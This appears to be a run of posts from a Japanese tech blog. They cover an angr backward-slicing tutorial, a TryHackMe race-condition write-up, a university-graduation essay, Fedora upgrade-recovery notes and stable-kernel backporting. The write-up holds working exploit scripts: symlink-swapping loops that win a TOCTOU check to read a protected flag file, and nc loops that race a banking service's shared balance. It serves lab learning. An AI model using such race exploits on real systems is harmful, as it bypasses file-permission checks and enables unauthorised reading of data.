angrのBackward Slicingを使ってみる

angrのBackward Slicingを使ってみたので、わかったことをとりあえずメモしておきます。と言っても、Backward Slicingの実行方法自体はドキュメントに書いてあるので、知りたかったのはBackward Slicingしたあとにどのようにデータを見ればよいの?ってところですね。

まずは単純なテストプログラムを作成。これに対してBackward Slicingをしてみる。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *correct_password = "test123";

void win(void)
{
    printf("Password is correct!\n");
}

void loose(void)
{
    printf("Password is wrong!\n");
}

int validate(char *password)
{
    int ret = -1;

    if (!strcmp(correct_password, password)) {
                win();
        ret = 0;
    } else {
                loose();
        ret = -1;
    }

    return ret;

}

void usage(char *prog)
{
    printf("Usage: %s <password>\n", prog);
    exit(-1);
}

int main(int argc, char **argv)
{
    int ret;

    if (argc != 2) 
        usage(argv[0]);

    ret = validate(argv[1]);

    return ret;
}

pythonのコードはこんな感じで。win()をターゲットとしてBackward Slicingを実行。

#!/usr/bin/env python3
import angr
import claripy

prog = "./test"

p = angr.Project(prog, auto_load_libs=False)

cfg = p.analyses.CFGEmulated(keep_state = True,
                            state_add_options = angr.sim_options.refs,
                            context_sensitivity_level = 3)

cdg = p.analyses.CDG(cfg)
ddg = p.analyses.DDG(cfg)

target_func = cfg.kb.functions.function(name="win")
target_node = cfg.get_any_node(target_func.addr)
bs = p.analyses.BackwardSlice(cfg, cdg = cdg, ddg = ddg, targets = [ (target_node, -1) ], control_flow_slice = True)

#print(bs.annotated_cfg().dbg_repr())

print("----------")
acfg = bs.annotated_cfg()
for addr in bs.chosen_statements:
    node = acfg.get_run(addr)
    print(f"name: {node.name}, addr: {hex(node.addr)}")
    for ia in node.instruction_addrs:
        print(f"instruction_addrs: {hex(ia)}")
print("-----------")

# 以下はおまけ的な
sym_args = claripy.BVS("sym_args", 8 * 8)

argv = [p.filename]
argv.append(sym_args)
state = p.factory.entry_state(args=argv)
state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY)
sm = p.factory.simulation_manager(state)

sm.explore(find = 0x401156, avoid = 0x401167)
if len(sm.found):
    for found in sm.found:
        print(found.solver.eval(sym_args, cast_to=bytes))

BackwardSliceクラスのannotated_cfg()でannontateされたコントロールグラフが取得できます。BackwardSliceクラスのchosen_statementsはpythonの辞書型で選択されたブロックのデータが入ってます。キーはアドレスです。そこで、chosen_statementsのキーであるアドレスを使ってannotated_cfg()で取得したコントロールグラフよりノードを得ることができます。それがこの部分ですね。

acfg = bs.annotated_cfg()
for addr in bs.chosen_statements:
    node = acfg.get_run(addr)
    print(f"name: {node.name}, addr: {hex(node.addr)}")
    for ia in node.instruction_addrs:
        print(f"instruction_addrs: {hex(ia)}")

このコードを実行すると次のような出力になります(__libc_start_mainなんかは今回気にする必要ないでしょう😀)。

----------
name: win, addr: 0x401156
instruction_addrs: 0x401156
instruction_addrs: 0x401157
instruction_addrs: 0x40115a
instruction_addrs: 0x40115f
name: validate+0x2d, addr: 0x4011a5
instruction_addrs: 0x4011a5
name: validate+0x29, addr: 0x4011a1
instruction_addrs: 0x4011a1
instruction_addrs: 0x4011a3
name: strcmp, addr: 0x500018
name: None, addr: 0x401050
instruction_addrs: 0x401050
name: validate, addr: 0x401178
instruction_addrs: 0x401178
instruction_addrs: 0x401179
instruction_addrs: 0x40117c
instruction_addrs: 0x401180
instruction_addrs: 0x401184
instruction_addrs: 0x40118b
instruction_addrs: 0x401192
instruction_addrs: 0x401196
instruction_addrs: 0x401199
instruction_addrs: 0x40119c
name: main+0x24, addr: 0x401214
instruction_addrs: 0x401214
instruction_addrs: 0x401218
instruction_addrs: 0x40121c
instruction_addrs: 0x40121f
instruction_addrs: 0x401222
name: main+0x15, addr: 0x401205
instruction_addrs: 0x401205
instruction_addrs: 0x401209
instruction_addrs: 0x40120c
instruction_addrs: 0x40120f
name: main, addr: 0x4011f0
instruction_addrs: 0x4011f0
instruction_addrs: 0x4011f1
instruction_addrs: 0x4011f4
instruction_addrs: 0x4011f8
instruction_addrs: 0x4011fb
instruction_addrs: 0x4011ff
instruction_addrs: 0x401203
name: __libc_start_main, addr: 0x500000
name: _start, addr: 0x401070
instruction_addrs: 0x401070
instruction_addrs: 0x401074
instruction_addrs: 0x401076
instruction_addrs: 0x401079
instruction_addrs: 0x40107a
instruction_addrs: 0x40107d
instruction_addrs: 0x401081
instruction_addrs: 0x401082
instruction_addrs: 0x401083
instruction_addrs: 0x401086
instruction_addrs: 0x401088
instruction_addrs: 0x40108f
-----------
b'test123\x00'

出力結果より"name: "の部分だけ抜き出すとこんな感じです(nameがNoneになってるものもありますが、0x401050はstrcmp@pltのアドレスです)。

name: win, addr: 0x401156
name: validate+0x2d, addr: 0x4011a5
name: validate+0x29, addr: 0x4011a1
name: strcmp, addr: 0x500018
name: None, addr: 0x401050
name: validate, addr: 0x401178
name: main+0x24, addr: 0x401214
name: main+0x15, addr: 0x401205
name: main, addr: 0x4011f0
name: __libc_start_main, addr: 0x500000
name: _start, addr: 0x401070

これとobjdumpの出力を合わせてみると、

0000000000401156 <win>:
  401156:       55                      push   rbp
  401157:       48 89 e5                mov    rbp,rsp
  40115a:       bf 18 20 40 00          mov    edi,0x402018
  40115f:       e8 cc fe ff ff          call   401030 <puts@plt>
  401164:       90                      nop
  401165:       5d                      pop    rbp
  401166:       c3                      ret

0000000000401178 <validate>:
  401178:       55                      push   rbp
  401179:       48 89 e5                mov    rbp,rsp
  40117c:       48 83 ec 20             sub    rsp,0x20
  401180:       48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi
  401184:       c7 45 fc ff ff ff ff    mov    DWORD PTR [rbp-0x4],0xffffffff
  40118b:       48 8b 05 96 2e 00 00    mov    rax,QWORD PTR [rip+0x2e96]        # 404028 <correct_password>
  401192:       48 8b 55 e8             mov    rdx,QWORD PTR [rbp-0x18]
  401196:       48 89 d6                mov    rsi,rdx
  401199:       48 89 c7                mov    rdi,rax
  40119c:       e8 af fe ff ff          call   401050 <strcmp@plt>
  4011a1:       85 c0                   test   eax,eax
  4011a3:       75 0e                   jne    4011b3 <validate+0x3b>
  4011a5:       e8 ac ff ff ff          call   401156 <win>
  4011aa:       c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0
  4011b1:       eb 0c                   jmp    4011bf <validate+0x47>
  4011b3:       e8 af ff ff ff          call   401167 <loose>
  4011b8:       c7 45 fc ff ff ff ff    mov    DWORD PTR [rbp-0x4],0xffffffff
  4011bf:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4011c2:       c9                      leave
  4011c3:       c3                      ret

00000000004011f0 <main>:
  4011f0:       55                      push   rbp
  4011f1:       48 89 e5                mov    rbp,rsp
  4011f4:       48 83 ec 20             sub    rsp,0x20
  4011f8:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
  4011fb:       48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi
  4011ff:       83 7d ec 02             cmp    DWORD PTR [rbp-0x14],0x2
  401203:       74 0f                   je     401214 <main+0x24>
  401205:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  401209:       48 8b 00                mov    rax,QWORD PTR [rax]
  40120c:       48 89 c7                mov    rdi,rax
  40120f:       e8 b0 ff ff ff          call   4011c4 <usage>
  401214:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  401218:       48 83 c0 08             add    rax,0x8
  40121c:       48 8b 00                mov    rax,QWORD PTR [rax]
  40121f:       48 89 c7                mov    rdi,rax
  401222:       e8 51 ff ff ff          call   401178 <validate>
  401227:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  40122a:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  40122d:       c9                      leave
  40122e:       c3                      ret

ここはwin()のアドレスそのまま。

name: win, addr: 0x401156

validate+0x2d(=0x4011a5)はvalidate()の中でwin()を呼んでるアドレス。

name: validate+0x2d, addr: 0x4011a5

validate+0x29(0x4011a1)はstrcmp()の戻り値をチェックしている部分。

name: validate+0x29, addr: 0x4011a1

といった感じで流れが見えます。

instruction_addrsのほうはどんなデータかというと、name: validatの部分で見るとこの前のコントールグラフ(Backward Slicingなので次というか前でしょう)strcmp()が呼ばれるまでの流れになってます。

name: validate, addr: 0x401178
instruction_addrs: 0x401178
instruction_addrs: 0x401179
instruction_addrs: 0x40117c
instruction_addrs: 0x401180
instruction_addrs: 0x401184
instruction_addrs: 0x40118b
instruction_addrs: 0x401192
instruction_addrs: 0x401196
instruction_addrs: 0x401199
instruction_addrs: 0x40119c

なのでinstruction_addrsの流れというのはコード実行の流れということがわかりますね。

win()に至るパスが複数あった場合はどうなんだというのもありますがそれは別途調べるとして、基本的なところはこれくらいかな。。。

TryHackMe: Race Conditions writeup

Race Conditions

tryhackme.com

What is the flag for the /home/walk/flag binary?

At first, I read anti_flag_reader.c to find vulnerability.

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    if (argc != 2) {
        puts("Usage: anti_flag_reader <FILE>");
        return 1;
    }
    
    puts("Checking if 'flag' is in the provided file path...");
    int path_check = strstr(argv[1], "flag");       // <----- 1
    puts("Checking if the file is a symlink...");   
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));  // <---- 2
    puts("<Press Enter to continue>");    // <---- 3
    getchar();
    
    if (path_check || symlink_check) {      // <---- 4
        puts("Nice try, but I refuse to give you the flag!");
        return 1;
    } else {
        puts("This file can't possibly be the flag. I'll print it out for you:\n");
        int fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    }
    
    return 0;
}

This code checks if a user pass to flag as file name[1], then check if the user given file is not symlink[2]. Then, program prints "" to wait enter key is pressed[3]. Finally, program checks file name and symblic link check results. So, there is time between getting file information and check its results. Therefore, we can create symlink file between 3 and 4. When run anti_flag_reader, we don't have to create dummy file because this program doesn't check file exists or not.

Let's do it.

Create symlink file between 3 and 4 in another terminal.

What is the flag for the /home/run/flag binary?

Of course, I read cat2.c to find vulnerability.

>>> snip <<<
    context = check_security_contex(argv[1]); // <---- 1
    puts("Context has been checked, proceeding!\n");

    if (context == 0) {     // <---- 4
        puts("The user has access, outputting file...\n");
        fd = open(argv[1], 0);    // <---- 5
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    } else {
        puts("[SECURITY BREACH] The user does not have access to this file!");
        puts("Terminating...");
        return 1;
    }
>>> snip <<<

int check_security_contex(char *file_name) {

    int context_result;

    context_result = access(file_name, R_OK); // <---- 2
    usleep(500); // <---- 3

    return context_result;
}

The cat2 checks user permission by check_security_contex(). This program calls check_()[1]. It checks access permission by access(2)[2]. Then, sleeps 500 usec and returns check result. When check_security_contex() returns 0[3], opens a file which is passed by command line argument[5]. So, if we pass symlink file as command line argument, we are able to change its target between 3 and 5.

I forgot to save my shell scripts before terminate machine but I wrote following scripts like that.

This loop_cat2.sh runs ln command to change symbolic link target.

#!/bin/bash

DUMMY_FILE="/home/race/dummy.txt"
FLAG_FILE="/home/run/flag"
SYMLINK_FILE="/home/race/symlink.txt"

if [ ! -f "${DUMMY_FILE}" ]; then
    touch "${DUMMY_FILE}"
fi

if [ -f "${SYMLINK_FILE}" ]; then
    rm "${SYMLINK_FILE}"
fi

for ((i=0; i<2000; i++));
do
    ln -sf "${DUMMY_FILE}" "${SYMLINK_FILE}"
    sleep 1
    ln -sf "${FLAG_FILE}" "${SYMLINK_FILE}"
done

This run_cat2.sh runs cat2 command.

#!/bin/bash

for ((i=0; i<2000; i++));
do
    echo "[+]Test $i"
    /home/run/cat2 /home/race/symlink.txt
done

Run these scripts and logs to text file.

We will see flag in the log file.

What is the flag for the /home/sprint/flag binary?

Read bankingsystem.c as usual.

int money; // <---- 1

void *run_thread(void *ptr) {

    long addr;
    char *buffer;
    int buffer_len = 1024;
    char balance[512];
    int balance_length;
    connection_t *conn;

    if (!ptr) pthread_exit(0);

    conn = (connection_t *)ptr;
    addr = (long)((struct sockaddr_in *) &conn->address)->sin_addr.s_addr;
    buffer = malloc(buffer_len + 1);
    buffer[buffer_len] = 0;
    
    read(conn->sock, buffer, buffer_len);
    
    if (strstr(buffer, "deposit")) {
        money += 10000;
    } else if (strstr(buffer, "withdraw")) {
        money -= 10000;
    } else if (strstr(buffer, "purchase flag")) {
        if (money >= 15000) {
            sendfile(conn->sock, open("/home/sprint/flag", O_RDONLY), 0, 128);
            money -= 15000;
        } else {
            write(conn->sock, "Sorry, you don't have enough money to purchase the flag\n", 56);
        }
    }

    balance_length = snprintf(balance, 1024, "Current balance: %d\n", money);
    write(conn->sock, balance, balance_length);
    
    usleep(1);
    money = 0;    // <---- 2

When accessing to the server, server creates a thread to process user request. However, the money value is shared object so it isn't thread local. The money is set to 0 when program starts[1] and set to 0 when connection closed[2]. The money is not initialized when connection starts. So, there is a race condition bug. If we deposit money continuously in short period of time, money will be greater than 15000 by the bug. We need to send "purchase flag" command at the time.

I wrote two scripts the one is bankingsystem_deposit.sh which sends depoit command.

#!/bin/bash

for ((i=0; i<2000; i++));
do
  echo -e "deposit\n\n" | nc localhost 1337
done

The other is bankingsystem_purchase.sh which sends "purchase flag" command.

#!/bin/bash

for ((i=0; i<500; i++));
do
    echo "[+]Test $i"
    echo -e "purchase flag\n\n" | nc localhost 1337
done

We need to deposit money more than 15000 so that I run bankingsystem_deposit.sh more than one.

Run scripts.

Get flag!

雑文:放送大学(情報コース)をなんとか4年で卒業確定できたという話

tl;tr

2023/02/17に放送大学の2023年2学期の成績発表もされ、卒業要件の124単位も一通り取りきったのでなんとか4年で卒業できる感じになりました😊

放送大学に入ったときのblogエントリはこちら。

kernhack.hatenablog.com

学位の情報も登録されているし、4年間の区切りがついたなあと🌝 まあ、学位の情報は成績発表の3日位前にシステム上で登録されてるのを確認できてたので正式な成績発表前に履修した科目の単位を取れてたことは知ってたんですけどね🥲

履修した科目

取得した単位は124単位で、そのうち放送授業が104単位、面接・オンライン授業が20単位でした。 以下が自分が履修した科目です。所属コースは情報コースなので当然情報コースからの履修が多く、社会と産業からは仕事で役に立つこともあるだろう経営学系、経済関係の知識も欲しいよねというところで経済系などを取ってた感じですね。

履修科目 授業形態
【基盤科目】
問題解決の進め方(’19) 放送授業
日本語リテラシー(’21) 放送授業
日本語アカデミックライティング(’22) 放送授業
身近な統計(’18) 放送授業
初歩からの数学(’18) 放送授業
情報学へのとびら(’16) 放送授業
地理空間情報の基礎と活用(’22) 放送授業
自然科学はじめの一歩(’15) 放送授業
改訂・問題解決の進め方 面接授業
日本語リテラシー演習(’18) 放送授業
演習初歩からの数学(’20) 放送授業
データサイエンス・リテラシ導入(’22) オンライン授業
データサイエンス・リテラシ基礎(’22) オンライン授業
データサイエンス・リテラシ心得(’22) オンライン授業
[外国語科目]
英語事始め(’17) 放送授業
耳から学ぶ英語(’18) 放送授業
ビートルズ de 英文法(’21) 放送授業
【コース科目】
[自コース(情報)]
(導入科目)
日常生活のデジタルメディア(’18) 放送授業
情報・メディアと法(’18) 放送授業
計算の科学と手引き(’19) 放送授業
情報理論とデジタル表現(’19) 放送授業
生活環境情報の表現-GIS入門(’20) オンライン授業
情報ネットワーク(’18) オンライン授業
Rで学ぶ確率統計(’21) オンライン授業
表計算プログラミングの基礎(’21) オンライン授業
(専門科目)
マーケティング(’21) 放送授業
経営情報学入門(’19) 放送授業
記号論理学(’14) 放送授業
数値の処理と数値解析(’14) 放送授業
コンピュータの動作と管理(’17) 放送授業
データベース(’17) 放送授業
データ構造とプログラミング(’18) 放送授業
コンピュータとソフトウェア(’18) 放送授業
デジタル情報の処理と認識(’18) 放送授業
コンピュータと人間の接点(’18) 放送授業
情報セキュリティと情報倫理(’18) 放送授業
自然言語処理(’19) 放送授業
情報社会のユニバーサルデザイン(’19) 放送授業
Webのしくみと応用(’19) 放送授業
データの分析と知識発見(’20) 放送授業
身近なネットワークサービス(’20) 放送授業
アルゴリズムとプログラミング(’20) 放送授業
コンピュータ通信概論(’20) 放送授業
情報デザイン(’21) 放送授業
問題解決の数理(’21) 放送授業
ビジネスと人工知能技術 面接授業
Javaプログラミングの基礎(’16) オンライン授業
情報ネットワークセキュリティ(’19) オンライン授業
C言語基礎演習(’20) オンライン授業
数理最適化法演習(’20) オンライン授業
コンピュータビジョン(’22) オンライン授業
(総合科目)
情報化社会と国際ボランティア(’19) 放送授業
AIシステムと人・社会との関係(’20) 放送授業
情報技術が拓く人間理解(’20) 放送授業
[他コース]
(生活と福祉)
<導入科目>
生活経済学(’20) 放送授業
<専門科目>
食と健康(’18) 放送授業
(社会と産業)
<導入科目>
技術経営の考え方(’17) 放送授業
経営学概論(’18) 放送授業
はじめての資産運用と証券投資 面接授業
<専門科目>
サプライチェーン・マネジメント(’21) 放送授業
現代経済学(’19) 放送授業
国際経営(’19) 放送授業
グローバル化と日本のものづくり(’19) 放送授業
金融と社会(’20) 放送授業
<総合科目>
新時代の組織経営と働き方(’20) 放送授業
(自然と環境)
<導入科目>
初歩からの物理(’16) 放送授業
入門線型代数(’19) 放送授業
ダイナミックな地球(’21) 放送授業
<専門科目>
はじめての気象学(’21) 放送授業

数学があまり得意じゃないというのもあって履修しなかったけど、今にして思えば微分積分線形代数学、統計学も取っとけば良かったかなとは思ってますね。

情報コースの履修案内図はこんな感じになってます。 

www.ouj.ac.jp

これを見ると情報数理系にカテゴライズされてる科目はすべて履修しているのでまったく数学を避けたわけではないんですが。というか、そんな感じの履修の進め方でよく「数値の処理と数値解析」みたいに線形代数微分積分を使う科目の単位取れたなと🥲情報コースのナンバリングとしては最上位にあるってのに。

放送大学の良かったところとか

自分は情報コース所属だったのでその観点からどう感じたかというところですが。

放送大学は学部は教養学部のみで、そのなかで情報コースやら自然と環境コースといったコースに別れています。そして、学生はいずれかのコースに所属して履修を勧めていくわけですが、情報コースでも自然と環境コースでも取得できる学位は学士(教養)となります。そのため、情報系の学位を取得したい場合は、以下のブログを書かれたlumpsuckerさんのように学位授与機構を利用する形になります。

note.com

ここで教養学部のみというところにメリット・デメリットあるかなと思います。履修上のデメリットしては情報系をガッツリやりたいという場合には物足りない(とくに現役のIT系エンジニアの人とかだと)と思うこともあるところだと思います。たとえば、カリキュラム | 筑波大学 情報学群 情報科学類 の内容見ると専門の学部だけに面白そうな授業多いな〜なんて思ったりします。

じゃあ、メリット・良い点はどんなところかというと、卒業要件として所属コースから最低34単位取得という条件はありますが、それ以外は自由なのでコースに関係なく履修したい科目を好きなだけ取れるという点があります。この選択肢の多さは幅広く色んな分野を学びたいという人には最高なのではないかと思います。ある分野について専門的に深く学んでいきたいと言う用途には向かなそうというのをデメリットに上げましたが、これはその逆ですね。自分が履修した範囲での話にはなりますが、放送大学の教科書ってその分野に入門するときにすごく良いのではなんて思ってます。深いところまで突っ込んでいない代わりに入門〜中級くらいまでの内容は一通りカバーしているのではないかなと。教科書の内容はシラバスに沿っているのでシラバスを見ればどんな内容かなんとなくわかると思います。

放送大学で一番難しかったところ

放送大学に入学したのが2019年4月でこのときはまだコロナ流行前でした。この頃の単位認定試験は指定された時間に試験会場に行って受験するという方式でした。試験期間は1週間ほどで平日・週末両方試験期間に含まれてました。そのため、履修科目によっては水曜日の16時から一科目、木曜日は11時と15時に2科目みたいな感じになってしまう場合があり、平日に試験が入ると受験するのが難しいという問題がありました。実際、2019年の2学期(2020年の1月)は忙しかったので履修した科目すべて受けれずに次学期に再試験となったんですが😭 勉強するのは時間的・場所的制約がないのに単位認定試験だけは時間的・物理的制約を受けるので試験を受けるというのが一番難しかったですね。なので、卒業まで6年は最低掛かりそうだなと思ってたんですが、その後、コロナの流行により2020年の1学期からはとりあえずの自宅受験となり、その後Webでの受験方式となって現地に受験しに行く必要がなくなり時間的・物理的制約がなくなったのでなんとか4年で卒業できた感じです。今後もWeb受験方式が主となると思うので単位認定試験を受験するのが難しい問題は解決されたと思います。

履修の進め方

放送大学は2学期制で4月と10月が新学期の開始となります。年間のスケジュールは↓のような感じです。通信指導は中間テストみたいなものでこれに合格すれば単位認定試験を受験できます。

1学期 2学期 イベント
4月 10月 新学期開始
5月 11月 通信指導
6月 12月 なし
7月 1月 単位認定試験
8月 2月 単位認定試験成績発表
9月 3月 なし

自分は4月と10月は一番やる気がある時期だったのでこの時期は放送授業の教科書を読みつつ、オンライン授業をレポートまで終わらす感じでやってました。オンライン授業のレポートを片付ければあとは放送授業の方を進めるだけで良いのでだいぶ楽になりますからね。そして通信指導をこなしつつ教科書を読み進めたり過去問をやるなどして単位認定試験に向けて勉強する感じでした。そして、その後は次学期に履修したい科目の放送授業を視聴したりしてましたね。そんな感じで進めてたので新学期開始から単位認定試験まではほぼ放送大学の勉強に当てていて趣味のプログラミングとかはほぼやってませんでした。これができるのは単位認定試験が終わってから次の新学期までの間って感じでしたね。自分はKrav Magaの練習もやっているので単位認定試験終了までは流石に趣味プログラミングまで手を出せる感じではなかった😥

科目によっては放送授業とオンライン授業でセット的に扱えるものもあったのでそういうのは同時に履修するとわかりやすくて良かったです。

例えば、自分が履修した中だとこの辺はセットで履修するとよりわかりやすい系です。

  • 初歩からの数学と演習初歩からの数学
  • 日本語リテラシーと日本語リテラシー演習
  • 地理空間情報の基礎と活用と生活環境情報の表現-GIS入門
  • Rで学ぶ確率統計とデータの分析と知識発見
  • 問題解決の数理と数理最適化法演習
履修して良かった授業

全体的に勉強になったので良かったのですが、特に良かったなと思った科目はこれらですね。

  • 日本語アカデミックライティング
  • 情報理論とデジタル表現
  • 身近な統計
  • Rで学ぶ確率統計
  • 記号論理学
  • はじめての気象学

日本語アカデミックライティングは論文の書き方が主題ですがそれだけではなく、単に文章の書き方だけでなくて論文を書くプロセスについて教えてくれる科目です。面白い文、詩的な文ではなくてアカデミックな文章もしくは、仕事などでドキュメントを書くときなどに役立つと思います。

情報理論とデジタル表現は自分が単純にこの辺はあまりわかってなかったので勉強になったというところですね。

身近な統計とRで学ぶ確率統計は統計学系統ですね。機械学習とか興味はあるけどよくわからんって感じだったのですが、なんとなく機械学習を使ったプログラミングとかの本が読めるようになりました😀

記号論理学は個人的に日常的に多用することはないんだけど、理論的な説明をするときに使われることも多いし必要な知識ですよね。

はじめての気象学は完全に趣味で履修したやつです。仕事でこの知識が必要になったことはないし、これからも使うことは無い気がしますが興味があるところだったので非常に面白かったです。教科書だけでなく放送授業の内容も良かったですね。

反省点

やっぱり試験のための勉強になってしまうというのはあるんですよね😭 単位認定試験があると思うと単位取得が主目的になってしまいます😨 なので興味のある科目に関しては今でも教科書を読み返したりしてます。

放送大学入って勉強して良かったか

例えば基本的なソートのアルゴリズムとかすでに知ってることも当然あるんですが、そういうものについては復習に、知らない知識については新しく学ぶってことができるので学び直し&新たな学びとできたのは結構良かったと思います。

ちなみに、放送大学の一部の授業は全15回全て公開されているものもあるのでamazonとかメルカリで教科書買って勉強することもできますよ。

www.ouj.ac.jp

あとは、4年前に今さら大学とかいいかーと思って入学しなかったら今の学位取得という結果はないので入学して勉強続けた結果として学位を得たというのはありますね🎉

次は

情報系の大学院修士課程なのか・・・

さらに時間とお金を使うことになりますけどね。 (´-`).。oO(狂気の沙汰ほど面白い・・・!

fedoraのsystem-upgradeが失敗して復旧させたメモ

この記事はLinuxのカレンダー | Advent Calendar 2022 - Qiitaの8日目の記事です。

会社にあるfedora 36のPCをfedora 37にアップグレードしようと思ってリモートからdnf system-upgradeでアップグレードしかけといたら何かしらの原因でアップグレードに失敗してて、それを復旧させるのに時間くらいかかったので防備録的に🥲

今回起きてた現象

root causeは何かしらの理由でdnf system-upgradeが失敗してたことなんだけど、その理由はもはやわからないのでこれによって発生してた現象のみを書くと次の3点でした。

  1. dnf・rpmコマンドでパッケージのインストールをしようとするときにsegvする(ファイルのdownloadなどは大丈夫だった)。
  2. fc36とfc37が中途半端に混在
  3. selinuxのラベルがおかしくなってた

復旧の流れ

  • リモートから接続できなかったのでまずは物理出社
  • 出社してPCを見てみたら電源が落ちてた
  • まずは電源オン
  • ログインできるし、ログイン画面もFedora 37のgnomeな感じだし、/etc/os-releaseとか/etc/fedora-releaseファイルもfedora 37になってる
  • ひとまずdistro-syncしてみる?と思って実行してみたらrpmファイルのインストールするときにsegvする
  • dnfのrepolistとかは使えるんだけど、インストール処理がだめっぽい
  • rpmはどうよ?と思ったけど、これも同様
  • この環境だけで復帰させるの無理じゃん😭
  • 会社にあるfedoraのライブCDを探したらfedora 32のCDがあったのでこれ使うかー
  • このPCはboot順番変更のメニュー出せるタイプなのかUEFI BIOSで起動順変える必要あるのかとか、どのキー押すのかまったく覚えてない😨
  • しょうがないので、ESC、F11、F12あたりを連打してUEFI BIOSに入れたのでDVDドライブから起動させる
  • ライブ環境が立ち上がったらディスク上にあるLVM領域の/を/mntにマウント
  • ライブCD(fedora 32)のdnfを使って/mntにマウントした環境をアップデートかけよう
  • dnfのオプションには--installroot=/mntと--releasever=37をつける
  • /etc/pki/rpm-gpg/RPM-GPG-KEY-fedora-37-x86_64がないと言われるけどfedora 32なんだからそれもそうだね
  • /mnt/etcのほうにもなかった
  • feodra 36のノートPCのほうにはこのファイルはあるけどどうやってファイルを受け渡すか?
  • ノートPCのほうで/etc/pki/rpm-gpg/RPM-GPG-KEY-fedora-37-x86_64を~/tmpとかにコピー
  • python -m http.server 8000で簡易的にhttpサーバを立ち上げてライブCDからcurlでファイルダウンロード
  • ダウンロードしたファイルは/etc/pki/rpm-gpg/と/mnt/etc/pki/rpm-gpgの両方に置いた
  • RPM-GPG-KEY-fedora-37-x86_64の問題は解決できたけど、一部のパッケージで検証に失敗する
  • dnfのオプションに--nogpgcheck追加
  • これで/mnt/環境にdnf updateをかけてみる
  • 成功したので/mntにchrootで入ってみる
  • docker-ce-stableとかの3rdパーティのリポジトリは無効にしてfedora.repoとfedora-updatesだけ有効にする
  • chrootで/mntに入ってdnf・rpmコマンドを試したらsegvしなくなってる!が、まだ問題はあった
  • repolistを確認するとリポジトリがfc36を見ている
  • releasever変数が36とされてるようだ
  • dnfのオプションで--releasever=37を付けても良かったんだけど、なんとなくsedでreleasever変数を37に置き換えた
  • distro-syncを試すとsystemdとかgnome-shellが依存関係の問題で削除されるとか言われてエラーになる
  • 元の環境であったdnf・rpmがsegvする問題はなくなったけど、system-upgradeが途中でエラーになったことでfc36とfc37が中途半端に混ざった状態っぽい
  • まあ、dnfは使えるようになったのでライブCD環境を終了して普通に起動してログイン
  • 起動したらyum.repo.dのほうは先ほどと同じ感じでfc37を見るように強制
  • rpm -qaでsystemdのパッケージを確認するとfc36とfc37の両方のパッケージが存在してる
  • dnfだと削除できないのでrpm -eでfc36・fc37が混在してるものはfc36のパッケージを削除
  • 全部消したところでdnfのdistro-sync
  • 成功したのでdnf update --refreshでさらに新しいパッケージへの更新もできた
  • yum.repo.dの3rdパーティのリポジトリも有効にしてupdateかけたり
  • カーネルはfc37版はインストール済みと言われるんだけど/bootにはfc36版しかない
  • カーネルもインストール状況が中途半端になってる感じだけど新しいバージョンがでればそれがインストールされて解決できるのでは?
  • という感じで、これはこのままにしておく
  • リモートからこのPCに入るためにはsshログインできる必要あるけど、ログインできないじゃん😭
  • クライアント側でこんなエラーメッセージが表示される
ssh client loop send disconnect

sshの-vオプションをつけるとさらにこんなメッセージが

openssh pledge filesystem full
  • dfでディスクの使用量見たけど全然余裕あるな
  • inode?と思ったけどこちらも問題なし
  • 検索するとアクセス権限の問題でもこのエラーメッセージは出るらしい
  • journalctlでログを見てみる
  • こんなログがでてるし、まさしくこれが原因でしょ
sshd_selinux_copy_context: setcon failed with permission denided
  • system-upgradeが途中で終わったことでselinuxのラベリングも中途半端になってるんじゃ
  • 今見えてる問題はsshdだけど他にもあるかもしれない
  • ラベリングし直すかということでファイルを作って再起動
touch /.autorelabel
  • ラベリングが終わってシステムが立ち上がったらsshログインしてみる
  • ログイン成功キタ━(゚∀゚)━!
  • virsh、dockerも動くか確認
  • これらもok
  • これでひとまず復旧完了として良いでしょということで復旧作業終了🥲

所感

このレベルの壊れ具合でも復旧させることができるトラブルシューティング能力はあるんだなって思ったけども、めんどくさいから勘弁してほしい。あとはやっぱライブメディアはあると便利。というかなかったら復旧できなかった。今回は再インストール無しに復旧させたけど、fedora 37のライブメディアがあったらクリーンインストールして再セットアップしたかもしれない。そっちのほうが確実だし。家なら最新のfedoraライブメディアは常にあるけど、会社にあったのがfedora 32だったので32をインストールしてから34 -> 36 -> 37という感じにアップデートさせるのも面倒だったというのもある🥲

同じ状況になる人はまずいないと思うけど、個々の現象に関してはこんな対応方法もあるということで防備録でした。

家に帰ったら自分からのクリスマスプレゼントがamazonさんから届いてた🍪

stable kernelにコントリビュートする

この記事はLinux Advent Calendar 2021の18日目の記事です。

stable kernelへのコントリビュート

コントリビュートの方法としては次のような方法があると思います。

  • テストする

  • patchをレビューする

  • patchをバックポートする

  • その他

本記事ではpatchをバックポートする場合について書いてみたいと思います。基本的にはEverything you ever wanted to know about Linux -stable releases — The Linux Kernel documentationを読みましょうというところではありますが😑

patchをバックポートする理由

通常、mainlineに入ったバグ修正のpatchはstable treeに取り込まれますが、何かしらの理由で取り込まれていなかったり、patchが当たらずにエラーになったりして取り込まれないという場合があります。後者の場合は特にpatchの修正が必要になってきます。

patchをバックポートする

git-amを使ってpatchを当ててコンフリクトしたところを直してといった感じで通常通りに修正すればOKです。

stable kernel固有のお作法

バックポートしたpatchの先頭はこのような行が必要です。2行目のcommit hashの行は何パターンか書き方がある感じです。ここでは自分が書いてる書き方です。

From: <Author name><author email>

commit <commit hash>  upstream.

git-amでpatchを当てて、コミットメッセージを修正してcommit hashの行をつけてます。Fromの行についてはコミットメッセージには含めないで大丈夫です。これはgit-send-emailがつけてくれます。

